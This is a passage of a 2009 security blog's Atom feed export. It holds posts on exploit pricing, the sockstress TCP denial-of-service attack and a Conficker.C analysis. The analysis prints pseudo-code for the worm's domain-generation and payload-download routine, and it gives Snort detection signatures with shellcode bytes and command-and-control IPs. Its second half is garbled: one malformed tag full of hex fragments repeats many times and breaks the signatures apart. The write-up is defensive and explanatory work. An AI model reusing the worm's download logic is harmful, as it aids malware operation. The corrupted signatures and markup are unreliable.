/&gt;Date           Action&lt;br /&gt;----            ------&lt;br /&gt;06/05     Vulnerability discovered.&lt;br /&gt;11/7/05  Submitted to prepub review at NSA.&lt;br /&gt;7/27/06 Approved for release by prepub review.&lt;br /&gt;7/27/06 Offered to government.&lt;br /&gt;8/10/06 Verbally agreed to $80,000 conditional deal.&lt;br /&gt;8/11/06 Exploit given for evaluation.&lt;br /&gt;8/25/06 Hash of exploit published.&lt;br /&gt;8/28/06 Agreed to lesser amount&lt;br /&gt;09/8/06 Paid&lt;br /&gt;&lt;br /&gt;For several years, security researchers have involved with many types of organizations including Financial institutions, Service providers, OS vendors, Security vendors, Government and Defense operators to help remove any un-discovered security flaws. Taking further highlights from the above article give more clear overview on exploit pricing structure ranging from $4000-250,000.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SfOhFjXYoXI/AAAAAAAAAGo/r_NUFbIvdGM/s1600-h/April-5-09-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 393px; height: 116px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SfOhFjXYoXI/AAAAAAAAAGo/r_NUFbIvdGM/s320/April-5-09-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5328779900874170738" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-2462877951465146693?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/2462877951465146693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/2462877951465146693'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/04/vulnerability-research-to-real-worlds.html' title='A Vulnerability Research to the Real World&apos;s Exploit Market'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WWO0NoYEIHQ/SfOhFjXYoXI/AAAAAAAAAGo/r_NUFbIvdGM/s72-c/April-5-09-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-7280709670019034309</id><published>2009-04-16T10:50:00.006-04:30</published><updated>2009-04-20T13:18:07.816-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='whole science'/><category scheme='http://www.blogger.com/atom/ns#' term='science map'/><category scheme='http://www.blogger.com/atom/ns#' term='world of science'/><category scheme='http://www.blogger.com/atom/ns#' term='map of science'/><title type='text'>Map of Science: An outlook of the world of Science</title><content type='html'>Click on the image to get full-view.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SedOWQ9tc-I/AAAAAAAAAF8/fq5UuQsIMHc/s1600-h/April-4-09-pic.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 367px; height: 353px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SedOWQ9tc-I/AAAAAAAAAF8/fq5UuQsIMHc/s320/April-4-09-pic.jpg" alt="" id="BLOGGER_PHOTO_ID_5325311228806788066" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-7280709670019034309?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7280709670019034309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7280709670019034309'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/04/map-of-science-outlook-of-world-of.html' title='Map of Science: An outlook of the world of Science'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WWO0NoYEIHQ/SedOWQ9tc-I/AAAAAAAAAF8/fq5UuQsIMHc/s72-c/April-4-09-pic.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4165103680798082744</id><published>2009-04-15T13:44:00.008-04:30</published><updated>2009-04-15T14:04:22.967-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='tcp vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='sockstress tool'/><category scheme='http://www.blogger.com/atom/ns#' term='dangerous tcp vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='kill internet'/><category scheme='http://www.blogger.com/atom/ns#' term='sockstress vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerable internet'/><category scheme='http://www.blogger.com/atom/ns#' term='internet downtime'/><title type='text'>Re-visiting the End of Internet (SockStress): Meltdown the internet in few seconds</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/SeYlCSIYeTI/AAAAAAAAAF0/UuUMrfb2FsE/s1600-h/April-3-09-pic1a.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 77px; height: 90px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/SeYlCSIYeTI/AAAAAAAAAF0/UuUMrfb2FsE/s320/April-3-09-pic1a.jpg" alt="" id="BLOGGER_PHOTO_ID_5324984330569152818" border="0" /&gt;&lt;/a&gt;Few months back, researchers come out with the generic vulnerability held in TCP/IP services. This vulnerability affects almost all systems utilizing TCP stack, including Windows, Linux, Mac and BSD. However, the attack itself is a new breed of denial of service (DoS) attacks. Researchers also put forward the sockstress tool to demonstrate the devastating affects of such vulnerabilities. The full details regarding this threat will come out in June.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The attack can be described as following:&lt;br /&gt;&lt;br /&gt;1. Attacker sends TCP-SYN raw packet to the destination port.&lt;br /&gt;2. The target OS respond with SYN/ACK packet as a part of 3-way handshake process.&lt;br /&gt;3. Extracting initial sequence numbers and other information from received packet, attacker now sends the final ACK packet to complete the connection process.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Although, the process looks similar to the 3-way handshake process but remember the packets sent from attacker zone are from userland rather than OS based TCP stack.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;More information is available at:&lt;br /&gt;http://www.sockstress.com/&lt;br /&gt;&lt;br /&gt;Various Press/Media coverage at:&lt;br /&gt;http://www.grc.com/sn/notes-164.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4165103680798082744?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4165103680798082744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4165103680798082744'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/04/re-visiting-end-of-internet-sockstress.html' title='Re-visiting the End of Internet (SockStress): Meltdown the internet in few seconds'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_WWO0NoYEIHQ/SeYlCSIYeTI/AAAAAAAAAF0/UuUMrfb2FsE/s72-c/April-3-09-pic1a.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-3020972857692697307</id><published>2009-04-03T12:11:00.012-04:30</published><updated>2009-04-03T14:54:12.044-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='conficker worm'/><category scheme='http://www.blogger.com/atom/ns#' term='conficker removal'/><category scheme='http://www.blogger.com/atom/ns#' term='sandbox conficker worm'/><category scheme='http://www.blogger.com/atom/ns#' term='conficker analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='conficker algorithm'/><category scheme='http://www.blogger.com/atom/ns#' term='conficker c'/><category scheme='http://www.blogger.com/atom/ns#' term='downup conficker'/><category scheme='http://www.blogger.com/atom/ns#' term='kido worm'/><category scheme='http://www.blogger.com/atom/ns#' term='conficker variant'/><category scheme='http://www.blogger.com/atom/ns#' term='conficker samples'/><title type='text'>Silence of Storm Worm: Welcome the Rolling Infection of Conficker 'C'</title><content type='html'>&lt;span style="font-style: italic;"&gt;"Conficker .aka. Conflicker .aka. Downup .aka. Downadup .aka. Kido"&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Conficker 'C' variant first strike out on the internet during 20-Nov-2008. As this variant has considerable changes compared to those of 'B'. Approximately, 14.9% similar code found in their process images when disassembled.&lt;br /&gt;&lt;br /&gt;The details of these images can be found at:&lt;br /&gt;http://mtc.sri.com/Conficker/addendumC/HMA_Compare_ConfB2_ConfC/&lt;br /&gt;&lt;br /&gt;So what makes the difference in variant 'C'? To notice, this new variant of Conficker adds major functionality for P2P co-ordination channel and the revised version of domain generation algorithm (DGA). The main features of Conficker 'C' variant are as follows:&lt;br /&gt;&lt;br /&gt;-Capable of incorporating 50,000 randomly generated domain names with the spreading process of 110 TLDs (top-level domains)&lt;br /&gt;-Use of advanced encrytion, digital signatures, and hashing algorithm to protect its zombies from being hijacked. Namely RC4, RSA, and MD6&lt;br /&gt;&lt;br /&gt;Conficker.C program logic is give below:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SdY-8cU6WRI/AAAAAAAAAFc/AQj7728JcA8/s1600-h/April-2-09-pic1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 245px; height: 354px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SdY-8cU6WRI/AAAAAAAAAFc/AQj7728JcA8/s320/April-2-09-pic1.jpg" alt="" id="BLOGGER_PHOTO_ID_5320509217901795602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The new hybrid nature of variant 'C' has produced a specifc structure/algorithm for generating more domains in comparison to old 'A' and 'B' classes. The pseudo-code for new DGA is given below:&lt;br /&gt;&lt;br /&gt;===========&lt;br /&gt;int domain_name_generation()&lt;br /&gt;{&lt;br /&gt;// local declarations&lt;br /&gt;hMem = 0;&lt;br /&gt;check_if_MS_DEF_PROV();&lt;br /&gt;get_time_from_popular_web_sites();&lt;br /&gt;// baidu.com, google.com, yahoo.com, ask.com, w3.org,&lt;br /&gt;// facebook.com, imageshack.us, rapidshare.com&lt;br /&gt;&lt;br /&gt;hMem = GlobalAlloc(0x40u, 0x30D40u); // global array - 50,000 random names&lt;br /&gt;if ( hMem )&lt;br /&gt;{&lt;br /&gt;   while ( 1 )&lt;br /&gt;    {&lt;br /&gt;       counter_domains = counter;&lt;br /&gt;       if ( counter &gt;= 50000 )&lt;br /&gt;             break;&lt;br /&gt;&lt;br /&gt;        size_of_name = DGA_random_function() % 6 + 4;&lt;br /&gt;        // size of domain name is between 4 and 10 chars&lt;br /&gt;        // append "." at the end of the name&lt;br /&gt;        random = DGA_random_function();&lt;br /&gt;        strcat(domainname, TLD-suffix[random num % 116] );&lt;br /&gt;        // append 1 of 116 suffixes (from 110 TLDs) to domain name&lt;br /&gt;        ++counter;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;  // select and query 500 domains&lt;br /&gt;  counter_domains = 0;&lt;br /&gt;  while ( !success_download &amp;amp;&amp;amp; counter_domains &lt; 500 )&lt;br /&gt;  {&lt;br /&gt;      // random number modulo 50,000&lt;br /&gt;      one_in_50000_names = conficker_D_PRNG_function() % 50,000);&lt;br /&gt;      hostent = gethostbyname(one_in_50000_names);&lt;br /&gt;      // resolve name to a set of IP addresses&lt;br /&gt;      if ( hostent )&lt;br /&gt;      {&lt;br /&gt;        host_address = hostent-&gt;address_list; // get list of IPs&lt;br /&gt;        array_previously_checked_IPs[counter_domains] = host_address;&lt;br /&gt;&lt;br /&gt;        if ( *host_address )&lt;br /&gt;        {&lt;br /&gt;          // skip if domain name resolves to multiple IP addresses&lt;br /&gt;          if ( !*(host_address + 1) )&lt;br /&gt;          {&lt;br /&gt;            // skip if IP is local host or other trivial IPs&lt;br /&gt;            if ( check_IP_value(host_address) )&lt;br /&gt;            {&lt;br /&gt;              is_blacklisted_ip = check_if_IP_is_in_ranges(host_address);&lt;br /&gt;              // skip if IP is blacklisted&lt;br /&gt;              if ( ! is_blacklisted_ip )&lt;br /&gt;              {&lt;br /&gt;                found = 0;&lt;br /&gt;                index = 0;&lt;br /&gt;                while (index &lt; counter_domains )&lt;br /&gt;                {&lt;br /&gt;                  if (host_address == array_previously_checked_IPs[index] )&lt;br /&gt;                  {&lt;br /&gt;                    found = 1;&lt;br /&gt;                    break; // break if IP has been previously encountered&lt;br /&gt;                  }&lt;br /&gt;                  ++index;&lt;br /&gt;                }&lt;br /&gt;                // skip if IP has been previously encountered&lt;br /&gt;                if ( !found )&lt;br /&gt;                {&lt;br /&gt;                  snprintf(Dest, 0x80u, "http://%s", host_address);&lt;br /&gt;                  success_download = download_and_validate_file(Dest);&lt;br /&gt;                  // HTTP request to the domain and download valid file&lt;br /&gt;                }&lt;br /&gt;              }&lt;br /&gt;            }&lt;br /&gt;          }&lt;br /&gt;        }&lt;br /&gt;      }&lt;br /&gt;      Sleep(...);  // sleep small random amount&lt;br /&gt;      ++counter_domains;&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  GlobalFree(hMem);&lt;br /&gt;  return success_download;&lt;br /&gt;}&lt;br /&gt;===========&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;Its p2p setup architecture implements the binary download validation, HTTP based date checking through well-known website headers, anti-debugger segments and other logic.&lt;br /&gt;&lt;br /&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 260px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SdZAuXK6n7I/AAAAAAAAAFk/wDf26qIVhsY/s320/April-2-09-pic2.jpg" alt="" id="BLOGGER_PHOTO_ID_5320511175022780338" border="0" /&gt;&lt;br /&gt;However, there are additional features introduced in this new variant which propogate infection of "millions" of computers world wide putting French and American Air Force, Navy, Hospials, Military networks and even strike out the big giants like Microsoft. For this reason, to step ahead, Microsoft is offering $250,000 to anyone who could report this worm creator. Apart, there are some private firms offering more than $350,000 to half-million US dollars.&lt;br /&gt;&lt;br /&gt;The main &lt;span style="font-weight: bold;"&gt;symptoms of Conficker&lt;/span&gt; infection can be inferred from following actions:&lt;br /&gt;&lt;br /&gt;1. Account lockout policies being reset automatically.&lt;br /&gt;2. Certain Microsoft Windows services such as Automatic Updates, BITS, Windows Defender, and Error Reporting Services are automatically disabled.&lt;br /&gt;3. Domain controllers respond slowly to client requests.&lt;br /&gt;4. System network gets unusually congested. This can be checked with network traffic chart on Windows Task Manager.&lt;br /&gt;5. On websites related to antivirus software, Windows system updates cannot be accessed.&lt;br /&gt;6. Launches a brute force attack against administrator passwords to help it spread through ADMIN$ shares, making choice of sensible passwords advisable.&lt;br /&gt;7. Port 445/TCP scanning (A/B)&lt;br /&gt;8. Multicast UPnP requests&lt;br /&gt;9. High-port TCP and UDP P2P Activity&lt;br /&gt;10.Up to 500 DNS lookups/HTTP GET request across 110 TLDs per day (C variant)&lt;br /&gt;11.Removal of all System Restore Points&lt;br /&gt;12.High-port (pseudo random) TCP and UDP P2P activity&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Detection Mechanisms:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. &lt;span style="font-style: italic;"&gt;Network Detection Signatures&lt;/span&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;div style="text-align: left;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Snort Signature for A/B shellcodes (presented at Honeynet Project)&lt;br /&gt;&lt;span style="font-size:85%;"&gt;alert tcp any any -&gt; $HOME_NET 445 (msg: "conficker.a shellcode"; content: "|e8 ff ff ff ff c1|^|8d|N|10 80|1|c4|Af|81|9EPu|f5 ae c6 9d a0|O|85 ea|O|84 c8|O|84 d8|O|c4|O|9c cc|IrX|c4 c4 c4|,|ed c4 c4 c4 94|&amp;amp;&lt;/span&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;span style="font-size:85%;"&gt; 67.15.94.80 $HTTP_PORTS (msg:"ET CURRENT_EVENTS Possible Downadup/Conficker-A Worm Activity"; flow:to_server,established; uricontent:"/GeoIP.dat.gz"; classtype:trojan-activity; reference:url,www.microsoft.com/security/portal/Entry.aspx?Name=Worm%3aWin32%2fConficker.A; reference:url,www.f-secure.com/v-descs/worm_w32_downadup_a.shtml; reference:url,doc.emergingthreats.net/bin/view/Main/2008802; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/CURRENT_EVENTS/CURRENT_Conficker; sid:2008802; rev:3;)&lt;br /&gt;--&lt;br /&gt;alert tcp $HOME_NET any -&gt; [75.126.138.202,72.249.118.38,208.78.69.70,204.13.249.70,208.78.68.70] $HTTP_PORTS (msg:"ET CURRENT_EVENTS Possible Downadup/Conficker-A Infection Checking Geographical Location"; flow:to_server; classtype:trojan-activity; reference:url,www.microsoft.com/security/portal/Entry.aspx?Name=Worm%3aWin32%2fConficker.A; reference:url,www.f-secure.com/v-descs/worm_w32_downadup_a.shtml; threshold:type both, count 5, seconds 60, track by_src; reference:url,doc.emergingthreats.net/bin/view/Main/2008803; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/CURRENT_EVENTS/CURRENT_Conficker; sid:2008803; rev:3;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;/div&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;2. &lt;span style="font-style: italic;"&gt;Check your computer for infection (ONLINE)&lt;/span&gt; &lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://iv.cs.uni-bonn.de/fileadmin/user_upload/werner/cfdetector/&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://www.confickerworkinggroup.org/infection_test/cfeyechart.html&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;3. &lt;span style="font-style: italic;"&gt;Removal Tools from various AV companies and security&lt;/span&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;span style="font-size:78%;"&gt;&lt;o8|92|\;|d3|wg|02 style="font-family: arial;" 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://global.ahnlab.com/global/file_removeal_down.jsp?filename=123718304758%2021&amp;amp;down_filename=v3conficker.zip&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-family: arial;font-size:78%;" &gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://download.eset.com/special/EConfickerRemover.exe&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 